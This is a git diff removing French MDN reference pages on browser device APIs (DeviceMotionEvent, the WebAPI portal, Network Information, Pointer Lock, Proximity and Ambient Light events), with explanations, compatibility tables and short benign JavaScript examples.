L'objet {{ domxref("DeviceMotionEvent") }} fourni aux développeurs Web des informations sur la vitesse de changement d'orientation et de position de l'appareil. Les changements rapportés sont fournis pour les trois axes (voir Orientation et déplacement expliquées pour les détails).

- -

Pour {{domxref("DeviceMotionEvent.acceleration","acceleration")}} et {{domxref("DeviceMotionEvent.accelerationIncludingGravity","accelerationIncludingGravity")}}, Les axes correspondent à :

- -
    -
  • x : représente l'axe d'Ouest en Est ;
    • -
  • y : représente l'axe Sud vers Nord :
    • -
  • z : représente l'axe perpendiculaire au sol.
    • -
- -

Pour {{domxref("DeviceMotionEvent.rotationRate","rotationRate")}}, c'est un peu différent. L'information correspond à :

- -
    -
  • alpha : représente le ratio de rotation le long de l'axe perpendiculaire à l'écran (ou du clavier au bureau) ;
    • -
  • bêta : représente le ratio de rotation le long de l'axe allant de la gauche vers la droite de l'écran (ou du clavier au bureau) ;
    • -
  • gamma : représente le ratio de rotation le long de l'axe allant du bas vers le haut de l'écran (ou clavier vers le bureau).
    • -
- -

Au final, {{domxref("DeviceMotionEvent.interval","interval")}} représente l'intervalle de temps, en millisecondes, pour les données générées par l'appareil.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Spécification initiale.
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable()}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
{{domxref("DeviceOrientationEvent")}}7.03.6[1]
- 6		{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}
{{domxref("DeviceMotionEvent")}}{{CompatVersionUnknown()}}6{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
{{domxref("DeviceOrientationEvent")}}3.03.6[1]
- 6		{{ CompatNo() }}{{ CompatNo() }}4.2
{{domxref("DeviceMotionEvent")}}{{ CompatVersionUnknown() }}6{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

Notes d'implementation pour Gecko 

- -
    -
  1. Firefox 3.6, 4, et 5 supportent mozOrientation au lieu de l'événement standard {{domxref("DeviceOrientationEvent")}}.
    2. -
- -

Voir aussi

- - diff --git a/files/fr/webapi/index.html b/files/fr/webapi/index.html deleted file mode 100644 index 17459c2dfd..0000000000 --- a/files/fr/webapi/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: WebAPI -slug: WebAPI -tags: - - Portail -translation_of: Web/API -translation_of_original: WebAPI ---- -

Le terme WebAPI permet de regrouper différentes API permettant d'accéder aux composants ou aux caractéristiques des appareil (comme la batterie, les vibrations...). Elles permettent aussi d'accéder aux informations enregistrées sur l'appareil (liste de contacts, agenda...). En créant ces API, nous espérons offrir de nouvelles possibilités au Web, jusqu'a présent réservées aux plates-formes propriétaires.

- -
-

Note : La documentation semble légère sur le sujet : il n'en est rien. Beaucoup de documents ont été écrits et des liens sont en train d'être ajoutés. Nous travaillons beaucoup à améliorer cela, de nombreux articles apparaîtront très prochainement. Vous pouvez consulter la page de l'état de documentation sur WebAPI qui récapitule le travail fait sur la documentation WebAPI.

-
- -
-

Note : Pour obtenir des explications rapides sur chaque badge, consultez la documentation sur les applications .

-
- -
-
-

Les API de Communication

- -
-
Bluetooth
-
L'API WebBluetooth permet d'accéder, à un bas niveau, aux fonctionnalités Bluetooth de l'appareil.
-
Mobile Connection API {{NonStandardBadge}}
-
Cette API permet de connaître les informations concernant la connexion : force du signal, informations sur l'opérateur ...
-
Network Information API
-
Cette API fournit des informations de bases sur la connexion réseau utilisée (la vitesse de connexion entre autres).
-
Network Stats API {{NonStandardBadge}}
-
Cette API enregistres des données sur l'utilisation des données réseaux et fournit cette information aux applications disposant des privilèges nécessaires.
-
Telephony {{NonStandardBadge}}
-
Cette API permet aux applications d'interagir avec les appels téléphoniques en utilisant l'interface utilisateur.
-
WebSMS {{NonStandardBadge}}
-
Cette API permet aux applications d'envoyer/recevoir des SMS et d'accéder aux messages enregistrés dans l'appareil.
-
WiFi Information API {{NonStandardBadge}}
-
Cette API est un API avec privilèges permettant de fournir des informations liées au WiFi : réseau utilisé, force du signal, réseaux disponibles...
-
- -

Les API Matériel

- -
-
Ambient Light Sensor API
-
Cette API fournit un accès au capteur de lumière environnante. Cela permet à l'application de connaître la luminosité présente autour de l'appareil.
-
Battery Status API
-
Cette API fournit des informations sur la batterie (niveau de la charge, savoir si l'appareil est en cours de charge...).
-
Camera API {{NonStandardBadge}}
-
Cette API permet aux applications de prendre des photos et/ou d'enregistrer des vidéos en utilisant l'appareil photo et/ou la caméra.
-
Geolocation API
-
Cette API fournit des informations sur la position géographique de l'appareil.
-
Pointer Lock API
-
Cette API permet aux applications de verrouiller l'accès du pointeur (de la souris) et d'accéder aux déplacements (relatifs) et non aux coordonnées absolues. Cela est particulièrement utile pour les jeux.
-
Power Management API {{NonStandardBadge}}
-
Cette API permet aux application d'allumer ou d'éteindre l'écran, le processeur, de connaître la puissance de l'appareil, le processeur... Elle permet aussi de surveiller (écoute et inspection) les événements de verrouillage des ressources (resources lock).
-
Proximity API
-
Cette API permet aux applications de détecter si quelque chose est à proximité de l'appareil (par exemple le visage de l'utilisateur).
-
Device Orientation API
-
Cette API permet d'envoyer des notifications lorsque l'appareil change d'orientation.
-
Screen Orientation API
-
Cette API permet d'envoyer des notifications lorsque l'écran change d'orientation. Il est aussi possible d'utiliser cette API pour permettre à l'API d'indiquer l'orientation à utiliser par l'application.
-
Vibration API
-
Cette API permet aux applications de contrôler les vibrations de l'appareil. Cela peut permettre de faire vibrer l'appareil pendant un jeu par exemple. Cette API n'est pas conçue pour provoquer des vibrations de notifications (dans ce cas il faut utiliser l'API Alarm).
-
Voir tout...
-
-
- -
-

Les API de gestion des données

- -
-
FileHandle API
-
Cette API permet d'interagir avec les fichiers en écriture tout en gérant les options de verrouillages.
-
IndexedDB
-
Permet de stocker des informations côté client et fournit un support pour effectuer des recherches de manière performante. Ces documents doivent être déplacés.
-
Settings API {{NonStandardBadge}}
-
Cette API permet aux applications de connaître et de modifier les options liées à la configuration du système, enregistrées de manière permanente dans l'appareil.
-
- -

Les autres API

- -
-
Alarm API
-
Cette API permet aux applications de planifier des notifications. Elle offre également  la possibilité de lancer une application de manière automatique à un moment donné.
-
Apps API {{NonStandardBadge}}
-
Cette API d'applications web offre la possibilité de gérer et d'installer des applications web. Cette API permet aussi aux applications de définir les informations liées au paiement.
-
Browser API {{NonStandardBadge}}
-
Cette API offre la possibilité de construire un navigateur web en n'utilisant que des technologies Web (et donc un navigateur dans un navigateur).
-
- -
-
Idle API
-
Cette API permet aux applications de recevoir des notifications, notamment lorsque l'utilisateur n'est pas en train d'utiliser l'appareil.
-
Permissions API {{NonStandardBadge}}
-
Cette API permet de gérer les autorisations des applications au sein d'un même endroit. Elle est utilisée par l'application Réglages.
-
Simple Push API
-
Cette API permet à la plate-forme d'envoyer des messages de notifications à certaines applications en particulier.
-
Time/Clock API {{NonStandardBadge}}
-
Cette API offre la possibilité de régler l'heure. Le fuseau horaire est lui réglé avec l' API Settings.
-
Web Activities {{NonStandardBadge}}
-
Cette API permet à une application de déléguer une activité à une autre application. Un application peut, par exemple, demander à une autre application de sélectionner (ou de créer) une photo et de la renvoyer à la première application. C'est généralement l'utilisateur qui sera capable de configurer la façon dont les applications seront choisies.
-
- -

La communauté WebAPI

- -

Si vous souhaitez avoir de l'aide concernant ces API, il y a plusieurs moyens d'échanger avec les autres développeurs.

- -
    -
  • Le forum WebAPI : {{DiscussionList("dev-webapi", "mozilla.dev.webapi")}}
    • -
  • Le canal IRC WebAPI : #webapi
    • -
- -

N'oubliez pas la netiquette...

- - - -
    -
  • Le Document Object Model (DOM), représentant la structure du document HTML comme un arbre
    • -
  • JavaScript - Langage de script largement utilisé sur le Web.
    • -
  • Doc status: Une liste de sujets en lien avec WebAPI ainsi que l'état de leur documentation
    • -
-
-
- -

 

diff --git a/files/fr/webapi/network_information/index.html b/files/fr/webapi/network_information/index.html deleted file mode 100644 index 076718cbcc..0000000000 --- a/files/fr/webapi/network_information/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Network Information API -slug: WebAPI/Network_Information -tags: - - WebAPI -translation_of: Web/API/Network_Information_API ---- -

{{ SeeCompatTable() }}

- -

L'API Network Information (Informations réseau) fournit des informations sur la connexion de l'appareil : la bande-passante, si la connexion est mesurée ou non. Elle peut être utilisée pour choisir entre du contenu en haute définition ou en basse définition selon la connexion de l'utilisateur. L'API ne représente qu'un seul objet, ajouté au DOM : {{domxref("window.navigator.connection")}}.

- -

Exemples

- -

Détecter les changements de connexion

- -

Cet exemple permet de connaître les changements liés à la connexion d'un utilisateur. Cela ressemble notamment à la façon dont une application saura si l'utilisateur passe d'une connexion coûteuse à une autre connexion moins chère et pourra réduire la demande de bande passante afin de réduire les coûts pour l'utilisateur.

- -
var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
-
-function updateConnectionStatus() {
-  alert("Bande passante de la connexion : " + connection.bandwidth + " MB/s");
-  if (connection.metered) {
-    alert("La connexion est mesurée !");
-  }
-}
-
-connection.addEventListener("change", updateConnectionStatus);
-updateConnectionStatus();
-
- -

Préchargement de ressources gourmandes

- -

L'objet connexion est pratique pour décider de précharger des ressources nécessitant une grosse quantité de bande passante ou de mémoire. Cet exemple devra être appelé après que la page ait été chargé. Il détermine si précharger la vidéo est judicieux selon le type de la connexion. Si une connexion cellulaire est trouvée, alors preloadVideo est réglé à faux. Ici pour faire simple, on ne teste qu'un type de connexion; dans un cas réel on aurait plutôt utilisé une structure de contrôle switch ou une autre méthode pour avoir tout les cas possibles de {{domxref("NetworkInformation.type")}}. Malgré la valeur type, on peut avoir une estimation de la vitesse de la connexion à travers la propriété {{domxref("NetworkInformation.effectiveType")}}.

- -
let preloadVideo = true;
-var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
-if (connection) {
-  if (connection.effectiveType === 'cellular') {
-    preloadVideo = false;
-  }
-}
- -

Interfaces

- -
-
{{domxref("NetworkInformation")}}
-
Fournit des informations sur la connexion de l'appareil et fournit la possibilité aux scriptes d'être informé en cas de changement. L'interface NetworkInformation ne peut pas être instanciée; à la place on y accède à travers l'interface {{domxref("Navigator")}}.
-
- -

Spécification

- - - - - - - - - - - - - - - - -
SpécificationStatusCommentaire
{{SpecName('Network Information', '', 'Network Information API')}}{{Spec2('Network Information')}}Spécification initiale
- -

Compatibilité des navigateurs

- -

NetworkInformation

- - - -

{{Compat("api.NetworkInformation")}}

- - - - - -

{{Compat("api.Navigator.connection")}}

- -

Voir aussi

- -
    -
  • {{spec("http://dvcs.w3.org/hg/dap/raw-file/tip/network-api/Overview.html", "Spécification de l'API Network Information", "ED")}}
    • -
  • Les évènement online et offline
    • -
  • {{domxref("window.navigator.connection")}}
    • -
diff --git a/files/fr/webapi/pointer_lock/index.html b/files/fr/webapi/pointer_lock/index.html deleted file mode 100644 index e3d6ea14f3..0000000000 --- a/files/fr/webapi/pointer_lock/index.html +++ /dev/null @@ -1,319 +0,0 @@ ---- -title: Pointer Lock API -slug: WebAPI/Pointer_Lock -tags: - - API - - Avancé - - Jeux - - Reference - - mouse lock - - pointer lock -translation_of: Web/API/Pointer_Lock_API ---- -
{{DefaultAPISidebar("Pointer Lock API")}}
- -

Pointer lock (en français Verrouillage du pointeur, précedement appelé mouse lock) permet d'obtenir des informations sur le déplacement de la souris à travers le temps, et ne se cantonne pas à fournir la position absolue du curseur sur l'écran. Cette interface donne accès aux données brutes de la souris, permet de verrouiller la cible des évènements à un élément unique, limiter jusqu'où le mouvement de la souris peut aller dans une direction donnée et cacher le curseur de la vue.
-
- Cette API est utile pour les applications qui ont besoin d'écouter la souris pour contrôler des mouvements ou faire pivoter des objets sur leurs axes. Les jeux 3D de type FPS (First Person Shooter), les outils de modelisation, les vidéos immersives ou encore les cartes satellites sont autant de candidats idéals. L'utilisateur peut en effet changer l'angle de vue en bougeant simplement sa souris et sans cliquer sur aucun bouton ce qui les laisse donc disponibles pour effectuer d'autres actions.
-
- Comme Pointer lock continue de déclencher des évènements même quand le curseur est en dehors des limites du navigateur ou de l'écran, les joueurs peuvent cliquer sur les boutons et déplacer le curseur de la souris sans se soucier de quitter la zone de jeu et de cliquer accidentellement sur une autre application qui changerait le focus de la souris en dehors du jeu.

- -

Concepts de base

- -

Pointer Lock partage des similtudes avec la capture de souris. La capture de souris offre un flot ininterrompu d'évènements sur un élément cible quand la souris glisse mais s'arrête quand le bouton est relaché. Pour cette raison, Pointer lock diffère de la capture de souris sur les points suivants :

- -
    -
  • Persistance. Pointer lock ne libère pas la souris tant qu'un appel explicite à l'API n'a pas été effectué ou que l'utilisateur n'a pas fait un mouvement spécifique.
    • -
  • Ne se limite pas aux bordures du navigateur ou de l'écran.
    • -
  • Continue de déclencher des évènements peu importe l'état des boutons de la souris.
    • -
  • Cache le curseur.
    • -
- -

Vue d'ensemble des méthodes/propriétées

- -

Cette section fournit une brève description de chaque propriété et méthode associée à la spécification de Pointer Lock.

- -

requestPointerLock()

- -

L'API Pointer lock, de manière similaire à l'API Fullscreen, étend les les éléments DOM en ajoutant une nouvelle méthode, {{domxref("Element.requestPointerLock","requestPointerLock()")}}. Comme le préfixe fournisseur a récemment été retiré, vous devriez utiliser la syntaxe ci-dessous, par exemple pour demander un verrouillage deu pointeur sur un élément canvas:

- -
canvas.requestPointerLock = canvas.requestPointerLock ||
-                            canvas.mozRequestPointerLock ||
-                            canvas.webkitPointerLockElement;
-
-canvas.requestPointerLock()
- -

pointerLockElement et exitPointerLock()

- -

L'API Pointer Lock étend également l'interface {{domxref("Document")}}, ajoutant à la fois une nouvelle propriété et une nouvelle méthode. La propriété {{domxref("Document.pointerLockElement","pointerLockElement")}}  est utilisée pour accéder à l'élément actuellement verrouillé (s'il y en a). La méthode {{domxref("Document.exitPointerLock","exitPointerLock()")}}  est utilisée pour libérer le verrou du pointeur.

- -

La propriété {{domxref("Document.pointerLockElement","pointerLockElement")}}  est utile pour déterminer si un élément est actuellement verrouillé (pour une vérification booléenne par exemple) et également pour obtenir une référence vers l'élément s'il existe.

- -

Voici un exemple d'utilisation de pointerLockElement:

- -
document.pointerLockElement = document.pointerLockElement    ||
-                              document.mozPointerLockElement ||
-                              document.webkitPointerLockElement;
-
-// 1) Utiliser une vérification booléenne--le pointeur est-il verrouillé?
-if (!!document.pointerLockElement) {
-  // pointeur verrouillé
-} else {
-  // pointeur non verrouillé
-}
-
-// 2) Accéder à l'élément verrouillé
-if (document.pointerLockElement === someElement) {
-  // someElement est l'élément sur lequel le pointeur est verrouillé
-}
-
- -

La méthode {{domxref("Document.exitPointerLock()")}} est utilisée pour libérer le verrouillage du pinteur, et, comme {{domxref("Element.requestPointerLock","requestPointerLock")}}, marche de manière asynchrone, on utilise les événements {{event("pointerlockchange")}} et {{event("pointerlockerror")}}, que vous verrez plus en détails ci-dessous.

- -
document.exitPointerLock = document.exitPointerLock    ||
-                           document.mozExitPointerLock ||
-                           document.webkitExitPointerLock;
-
-// Essaie de déverrouiller
-document.exitPointerLock();
-
- -

Événement pointerlockchange

- -

Quand l'état de verrouillage du pointeur change — par exemple quand on appelle {{domxref("Element.requestPointerLock","requestPointerLock()")}}, {{domxref("Document.exitPointerLock","exitPointerLock()")}}, que l'utilisateur presse la touche ECHAP, etc.—l'événement {{event("pointerlockchange")}} est envoyé au document. C'est un simple événement qui ne contient pas de données supplémentaires.

- -
document.pointerLockElement = document.pointerLockElement    ||
-                              document.mozPointerLockElement ||
-                              document.webkitPointerLockElement;
-
-function pointerLockChange() {
-  if (!!document.pointerLockElement) {
-    console.log("Verrouillé.");
-  } else {
-    console.log("Non verrouillé.");
-  }
-}
-
-document.addEventListener('pointerlockchange', pointerLockChange, false);
-document.addEventListener('mozpointerlockchange', pointerLockChange, false);
-document.addEventListener('webkitpointerlockchange', pointerLockChange, false);
-
- -

Événement pointerlockerror

- -

Quand une erreur est causée par l'appel de {{domxref("Element.requestPointerLock","requestPointerLock()")}} ou {{domxref("Document.exitPointerLock","exitPointerLock()")}}, l'événement {{event("pointerlockerror")}} est envoyé au document. C'est un simple événement qui ne contient pas de données supplémentaires.

- -
document.addEventListener('pointerlockerror', lockError, false);
-document.addEventListener('mozpointerlockerror', lockError, false);
-document.addEventListener('webkitpointerlockerror', pointerLockChange, false);
-
-function lockError(e) {
-  alert("Pointer lock failed");
-}
-
- -
Note: Jusqu'à Firefox 50, les événements ci-dessus étaient préfixés avec moz.
- -

Extensions aux événements de souris

- -

L'API Pointer lock étend l'interface {{domxref("MouseEvent")}} normale avec les attributs de mouvement. Deux nouveaux attributs sont ajoutés aux événements de souris —{{domxref("MouseEvent.movementX","movementX")}} et {{domxref("MouseEvent.movementY","movementY")}}— fournissant le changement de position de la souris. Ces paramètres ont pour valeur les différences entre les valeurs des propriétés de {{domxref("MouseEvent.screenX","screenX")}} / {{domxref("MouseEvent.screenY","screenY")}} stockées dans les événements {{event("mousemove")}}, eNow et ePrevious. En d'autres termes, movementX = eNow.screenX - ePrevious.screenX.

- -

État verrouillé

- -

Quand le verrouillage du pointeur est activé, les propriétés standard {{domxref("MouseEvent.clientX","clientX")}}, {{domxref("MouseEvent.clientY","clientY")}}, {{domxref("MouseEvent.screenX","screenX")}}, et {{domxref("MouseEvent.screenY","screenY")}} sont gardées constantes, comme si la souris ne bougeait pas. Les propriétés {{domxref("MouseEvent.movementX","movementX")}} et {{domxref("MouseEvent.movementY","movementY")}} continuent de fournir le changement de position de la souris. Il n'y a pas de limite aux valeurs {{domxref("MouseEvent.movementX","movementX")}} et {{domxref("MouseEvent.movementY","movementY")}}, si la souris continue de bouger toujours dans la même direction. Le curseur de la souris n'existe pas et il ne peut pas sortir de la fenêtre ou être bloqué par un bord de l'écran.

- -

État déverrouillé

- -

Les paramètres {{domxref("MouseEvent.movementX","movementX")}} et {{domxref("MouseEvent.movementY","movementY")}} sont disponibles quel que soit l'état de la souris, verrou ou non.

- -

Quand la souris est déverrouillée, il est possible que le curseur soit en dehors de la fenêtre et il est alors remis automatiquement à l'intérieur. Si cela arrive, {{domxref("MouseEvent.movementX","movementX")}} et {{domxref("MouseEvent.movementY","movementY")}} sont définis à zéro.

- -

Simple exemple pas à pas

- -

Nous avons écrit une démo de verrouillage de pointer pour vous montrer comment l'utiliser pour mettre en place un système de contrôle simple (voir le code source). La démo ressemble à ça:

- -

A red circle on top of a black background.

- -

Cette démo utilise JavaScript pour dessiner une balle dans un élément {{ htmlelement("canvas") }}. Quand vous cliquez sur le canvas, le verrouillage du pointeur est utilisé pour supprimer le curseur de la souris à l'écran et vous permettre de déplacer la balle avec la souris. Voyons comment cela fonctionne.

- -

On définit les positions initiales x et y sur le canvas:

- -
var x = 50;
-var y = 50;
- -

Les méthodes de verrouillage de pointeur sont préfixées dans les anciennes versions des navigateurs, on prend donc en compte les différentes implémentations des navigateurs:

- -
canvas.requestPointerLock = canvas.requestPointerLock ||
-                            canvas.mozRequestPointerLock ||
-                            canvas.webkitRequestPointerLock;
-
-document.exitPointerLock = document.exitPointerLock ||
-                           document.mozExitPointerLock ||
-                           document.webkitExitPointerLock;
- -

Maintenant, on définit un gestionnaire d'événement qui appelle la méthode requestPointerLock() quand le canvas est cliqué, ce qui déclenche le verrouillage du pointeur.

- -
canvas.onclick = function() {
-  canvas.requestPointerLock();
-}
- -

Et maintenant le gestionnaire d'événement pour le verrouillage: pointerlockchange. Quand cet événement se déclenche, on appelle lockChangeAlert() pour gérer le changement.

- -
// Gestionnaire d'événement de changement d'état du verrouilllage pour les différents navigateurs
-document.addEventListener('pointerlockchange', lockChangeAlert, false);
-document.addEventListener('mozpointerlockchange', lockChangeAlert, false);
-document.addEventListener('webkitpointerlockchange', lockChangeAlert, false);
-
- -

La fonction suivante vérifie si la propriété pointLockElement est sur notre canvas. Si c'est le cas, on attache un gestionnaire d'événement pour gérer les mouvements de la souris avec la fonction updatePosition(). Sinon, elle enlève le gestionnaire d'événement.

- -
function lockChangeAlert() {
-  if (document.pointerLockElement === canvas) {
-    console.log('The pointer lock status is now locked');
-    document.addEventListener("mousemove", updatePosition, false);
-  } else {
-    console.log('The pointer lock status is now unlocked');
-    document.removeEventListener("mousemove", updatePosition, false);
-  }
-}
- -

La fonction updatePosition() met à jour la position de la balle sur le canvas (les valeurs x et y), et inclut également des instructions if() pour vérifier si la balle est sortie des bords du canvas. Dans ce cas, la balle se ressort au bord opposé. Elle vérifie également si un appel à requestAnimationFrame() a été effectué et si ce n'est pas le cas, l'appelle pour qu'elle déclenche la fonction canvasDraw() et mette à jour le canvas. Un tracker est mis en place pour afficher les valeurs X et Y à l'écran, pour référence.

- -
var tracker = document.getElementById('tracker');
-
-var animation;
-function updatePosition(e) {
-  x += e.movementX;
-  y += e.movementY;
-  if (x > canvas.width + RADIUS) {
-    x = -RADIUS;
-  }
-  if (y > canvas.height + RADIUS) {
-    y = -RADIUS;
-  }
-  if (x < -RADIUS) {
-    x = canvas.width + RADIUS;
-  }
-  if (y < -RADIUS) {
-    y = canvas.height + RADIUS;
-  }
-  tracker.textContent = "X position: " + x + ", Y position: " + y;
-
-  if (!animation) {
-    animation = requestAnimationFrame(function() {
-      animation = null;
-      canvasDraw();
-    });
-  }
-}
- -

La fonction canvasDraw() affiche la balle aux position x et y en cours:

- -
function canvasDraw() {
-  ctx.fillStyle = "black";
-  ctx.fillRect(0, 0, canvas.width, canvas.height);
-  ctx.fillStyle = "#f00";
-  ctx.beginPath();
-  ctx.arc(x, y, RADIUS, 0, degToRad(360), true);
-  ctx.fill();
-}
- -

iframe limitations

- -

Le verrouilage du pointeur ne peut concerner qu'une seule iframe à la fois. Quand vous verrouillez une iframe, vous ne pouvez pas essayer de verrouiller une autre iframe et y transférer la cible; une erreur sera levée. Pour éviter cette limitation, déverrouillez d'abord la première iframe, puis verrouillez la seconde.

- -

Tandis que cela fonctionne pour les iframes par défaut, les iframes en "sandbox" bloquent le verrouillage. La possibilité d'éviter cette limitation, sous la forme de la combinaison attribut/valeur <iframe sandbox="allow-pointer-lock">, devrait bientôt apparaître dans Chrome.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpecificationEtatCommentaire
{{SpecName('Pointer Lock')}}{{Spec2('Pointer Lock')}}Initial specification.
- -

Compatibilité navigateur

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support -

{{CompatVersionUnknown}}

- 		{{CompatVersionUnknown}} -

{{CompatVersionUnknown}} {{ property_prefix("-moz") }}

- 		{{ CompatNo() }}{{CompatVersionUnknown}}10.1
Unprefixed support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(50)}}{{ CompatNo() }}{{CompatVersionUnknown}}10.1
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -

Voir aussi

- -
    -
  • {{domxref("MouseEvent")}}
    • -
diff --git a/files/fr/webapi/proximity/index.html b/files/fr/webapi/proximity/index.html deleted file mode 100644 index e5b3d1e199..0000000000 --- a/files/fr/webapi/proximity/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Proximity -slug: WebAPI/Proximity -tags: - - WebAPI -translation_of: Web/API/Proximity_Events ---- -

{{ SeeCompatTable }}

-

Résumé

-

Les événements de proximité permettent, simplement, de savoir lorsqu'un utilisateur est près de l'appareil. Ces événements permettent de réagir par rapport à cette proximité, par exemple en éteignant l'écran lorsqu'un utilisateur est en train de passer un appel téléphonique et que l'appareil est près de l'oreille.

-
-

Note : Bien entendu, il faut un capteur de proximité pour que cette API fonctionne, ceux-ci sont généralement disponibles sur les appareils mobile. Les appareils ne disposant pas d'un tel capteur pourront supporter de tels événements, ils seront en revanche incapables de les déclencher.

-
-

Événements de proximité

-

Lorsque le capteur de l'appareil détecte un changement entre l'appareil et l'objet, il informe le navigateur de ce changement en lui envoyant une notification. Lorsque le navigateur reçoit une notification comme celle-ci, il déclenche un événement {{domxref("DeviceProximityEvent")}} à chaque fois qu'il y a un changement et un événement  {{domxref("UserProximityEvent")}} dans le cas où un changement plus brutal se produit.

-

Cet événement peut être capturé en utilisant un objet au niveau window en utilisant la méthode {{domxref("EventTarget.addEventListener","addEventListener")}} (en utilisant les noms d'événements {{event("deviceproximity")}} ou {{event("userproximity")}}) ou en attachant un gestionnaire d'événement à la propriété {{domxref("window.ondeviceproximity")}} ou à la propriété {{domxref("window.onuserproximity")}}.

-

Une fois qu'il a été capturé, l'événement donne accès à différentes informations :

-
    -
  • L'événement {{domxref("DeviceProximityEvent")}} permet de connaître la distance exacte entre l'appareil et l'objet avec sa propriété {{domxref("DeviceProximityEvent.value","value")}}. Il fournit également la distance la plus courte et la distance la plus grande que l'appareil peut détecter avec les propriétés {{domxref("DeviceProximityEvent.min","min")}} et {{domxref("DeviceProximityEvent.max","max")}}.
    • -
  • L'événement {{domxref("UserProximityEvent")}} fournit une valeur approximative pour la distance en utilisant un booléen. La propriété  {{domxref("UserProximityEvent.near")}} vaut true si l'objet est proche ou false si l'objet est loin.
    • -
-

Exemple

-
window.addEventListener('userproximity', function(event) {
-  if (event.near) {
-    // extinction de l'écran
-    navigator.mozPower.screenEnabled = false;
-  } else {
-    // allumage de l'écran
-    navigator.mozPower.screenEnabled = true;
-  }
-});
-

Spécifications

- - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{ SpecName('Proximity Events', '', 'Proximity Events') }}{{ Spec2('Proximity Events') }}Spécification initiale
-

Compatibilité des navigateurs

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
{{domxref("DeviceProximityEvent")}}{{CompatNo()}}{{CompatVersionUnknown()}}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
{{domxref("UserProximityEvent")}}{{CompatNo()}}{{CompatVersionUnknown()}}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
{{domxref("DeviceProximityEvent")}}{{CompatNo()}}{{CompatNo()}}{{ CompatGeckoMobile("15.0") }}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
{{domxref("UserProximityEvent")}}{{CompatNo()}}{{CompatNo()}}{{CompatVersionUnknown()}}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
-
-

Voir aussi

-
    -
  • {{domxref("DeviceProximityEvent")}}
    • -
  • {{domxref("UserProximityEvent")}}
    • -
  • {{event("deviceproximity")}}
    • -
  • {{event("userproximity")}}
    • -
diff --git "a/files/fr/webapi/utiliser_les_\303\251v\303\251n\303\251ments_de_luminosit\303\251/index.html" "b/files/fr/webapi/utiliser_les_\303\251v\303\251n\303\251ments_de_luminosit\303\251/index.html" deleted file mode 100644 index 4f30f285d0..0000000000 --- "a/files/fr/webapi/utiliser_les_\303\251v\303\251n\303\251ments_de_luminosit\303\251/index.html" +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Utiliser les événements de luminosité -slug: WebAPI/Utiliser_les_événéments_de_luminosité -tags: - - WebAPI -translation_of: Web/API/Ambient_Light_Events ---- -

{{SeeCompatTable }}

-

Résumé

-

Les événements concernant la lumière environnante permettent à une application de percevoir simplement les changements de luminosité dans l'environnement de l'appareil. L'application peut donc ainsi réagir aux changements de luminosité : par exemple changer le contraste de l'interface ou changer l'exposition lors de la prise d'une photo.

-

Les événements liés à la lumière

-

Lorsque le capteur de lumière détecte un changement de luminosité, il envoie une notification au navigateur. Lorsque le navigateur reçoit une notification, il déclenche un événement {{domxref("DeviceLightEvent")}} qui fournit des informations sur la valeur exacte de l'intensité lumineuse.

-

Cet événement peut être capturé au niveau de l'objet window en utilisant la méthode {{domxref("EventTarget.addEventListener","addEventListener")}} (en utilisant le nom d'événement {{event("devicelight")}}) ou en attachant le gestionnaire d'événément à la propriété {{domxref("window.ondevicelight")}}.

-

Une fois qu'il a été capturé, l'événement permet un accès à la valeur de l'intensité lumineuse, exprimée en lux avec la propriété {{domxref("DeviceLightEvent.value")}}.

-

Exemple

-
window.addEventListener('devicelight', function(event) {
-  var html = document.getElementsByTagName('html')[0];
-
-  if (event.value < 50) {
-    html.classList.add('darklight');
-    html.classList.remove('brightlight');
-  } else {
-    html.classList.add('brightlight');
-    html.classList.remove('darklight');
-  }
-});
-

Spécifications

- - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}{{ Spec2('AmbientLight') }}Spécification initiale
-

Compatibilité des navigateurs

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
{{domxref("DeviceLightEvent")}}{{CompatNo()}}{{CompatGeckoDesktop("22.0")}} (Mac OS X seulement){{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
-
-
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
